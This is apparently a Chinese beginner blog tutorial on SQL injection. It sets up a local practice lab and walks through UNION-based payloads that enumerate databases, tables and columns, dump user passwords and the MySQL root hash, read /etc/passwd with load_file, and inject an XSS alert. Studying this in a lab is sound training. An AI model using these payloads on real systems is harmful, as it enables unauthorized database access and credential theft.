• 12 初识sql注入


    1. 环境搭建

    搭建一个简单的靶机环境,运用到简单的html,php,sql语句的知识,进行简单的sql注入

    1.1 准备工作

    1.1.1 下载,并解压靶机包

    gitee仓库

    • 点进仓库,选择下载

    image-20201208140038203

    • 将下载好的靶机包解压到你的phpstudy_pro安装路径下的www目录下,并重命名为为sqlin

    image-20201208140403363

    1.1.2 配置php网站环境

    • 本次靶机需要的php版本为php5.x,版本过高将无法启动,请手动切换php版本

    image-20201208140549832

    • 开启mysqlnginx服务

    image-20201208140606699

    • 打开db-creds.inc文件的修改数据库配置

    image-20201208140923730

    image-20201208141017193

    1.2 测试环境

    打开谷歌浏览器在地址栏中输入127.0.0.1/sqlin/,回车

    image-20201208141451966

    • 选择关卡

    image-20201208141543429

    • 出现以下画面即为靶机环境搭建成功

    image-20201208141600513

    2. union操作符

    2.1 union介绍

    SQL UNION 操作符可以合并两个或多个 SELECT 语句的结果。

    2.2 union作用

    • UNION后面可以继续接SELECT语句
    • UNION可以跨表查询
    • UNION后面查到的结果的列数要和前面的语句一样
    • 如果UNION前面的条件执行结果为False,则只显示UNION后面的结果

    3. sql注入

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先

    定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据

    库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

    3.1 手动注入

    • 在地址栏后追加输入index.php?id=1

    image-20201208142149898

    猜测 : index.php这个php文件,接收我们在地址栏输入的id=1的这个值,然后拼接成对应的sql语句去数据

    库查询对应的记录,然后将内容返回到页面上,即我们看到的这一部分

    image-20201208142545778

    3.2 判断是否存在注入点

    在地址栏输入:

    id=1'
    

    image-20201208142801843

    直接SQl语法错误报错,说明后台的php文件没有对我们输入的值做过滤限制,直接将我们输入的内容与sql语句拼

    接,然后去数据库查询,说明这个站点存在sql注入漏洞,也就是说我们可以将sql语句输入在地址栏中,然后后

    台接收到值,直接去数据库中查询,即执行sql语句。

    3.3 获取列

    • 依次输入下面sql语句,判断当前表有几列
    id=1 order by 1
    id=1 order by 2
    id=1 order by 3
    id=1 order by 4
    

    当输入第四句时,报错

    image-20201208144039759

    Unknown column说明他在当前表找不到第四列,由此可以判断当前表只有三列

    3.4 获取列在网页上的显示位置

    id=-1 union select 1,2,3    
    # 当union前面的语句为False就显示后面的查询结果
    # 但是要保证前后显示的列数相同
    

    image-20201208144508094

    出现以上画面,可以推断出当前页面上显示表的第二列是用户名,第三列是密码,我们可以通过指定union前面的

    查询结果为False,然后再union后面显示我们想要获取的信息

    3.5 获取数据库信息

    -- 获取当前连接数据库的用户名和ip
    UNION select 1,USER(),3
    

    image-20201208145030947

    -- 获取服务端口号
    UNION select 1,@@port,3
    

    image-20201208145427744

    -- 获取数据库存放路径
    UNION select 1,@@datadir,3
    

    image-20201208145522943

    -- 获取数据库版本,拿到版本可以去网上收集这个版本数据库存在的漏洞
    UNION select 1,@@version,3
    

    image-20201208145546389

    3.6 获取库

    -- 获取数据库库名
    UNION select 1,DATABASE(),3
    

    image-20201208145325819

    3.7 获取表

    在mysql数据库中有一个自带的information_schema库,这个库里面有一张TABLES表,表里面存放着你创建

    的所有库和库里面的表的信息。

    • TABLE_SCHEMA 存放库名
    • TABLE_NAME 存放表名
    -- 获取库中的表
    id=-1 union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA = 'security'
    

    image-20201208151951868

    3.8 获取字段

    • COLUMNS 这个表里面存放着所有的列信息,即所有表的字段信息
    • COLUMNS_NAME 列名,即字段名
    -- 获取表中的字段
    id=-1 union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_SCHEMA = "security" and TABLE_NAME = 'users' 
    -- 指定库再指定表,否则可能出现不同的库下面有相同的表
    

    image-20201208152530802

    3.9 获取字段值

    -- 获取字段值
    id=-1 union select 1,username,password from security.users where username like "admin%" 
    

    image-20201208153251490

    3.10 获取mysql密码

    -- 获取mysql密码
    id=-1 union select 1,concat_ws(0x3A,user,authentication_string
    ),3 from mysql.user where user = "root"
    

    image-20201208154956406

    81F5E21E35407D884A6CD4A731AEBFB6AF209E1B一串MD5摘要后的字符串,可以通过去网上撞库查看

    image-20201208155202051

    3.11 获取任意文件内容

    -- 获取文件内容
    UNION SELECT 1,load_file('/etc/passwd'),3
    UNION SELECT 1,load_file('/tmp/passwd.txt'),3
    

    3.12 xss弹窗

    UNION SELECT 1,<script>alert("XSS via SQL injection");</script>,3
    
  • 相关阅读:
    BERT在语义相似度计算中的应用(一)
    Debian 10.6 安装 oracle 19.3c 数据库database软件:传统的zip安装包
    Spring应用消费REST服务
    使用Spring Data自动创建repository实现及自动定义API实现
    SpringBoot中使用Spring profile进行配置【谨慎使用,参见SpringBoot 2.4.0发布文档】
    为SpringBoot声明配置属性的元数据
    【转】Winform中textBox通过正则表达式限制只能输入数字且是两位小数
    【转】WinForm中TextBox只能输入数字
    【转】C# winform窗体间传值(使用委托或事件)
    【转】Visual Studio2019报错/plugin.vs.js,行:1074,错误:缺少标识符、字符串或数字的解决方法
  • 原文地址:https://www.cnblogs.com/xcymn/p/14105452.html
Copyright © 2020-2023  润新知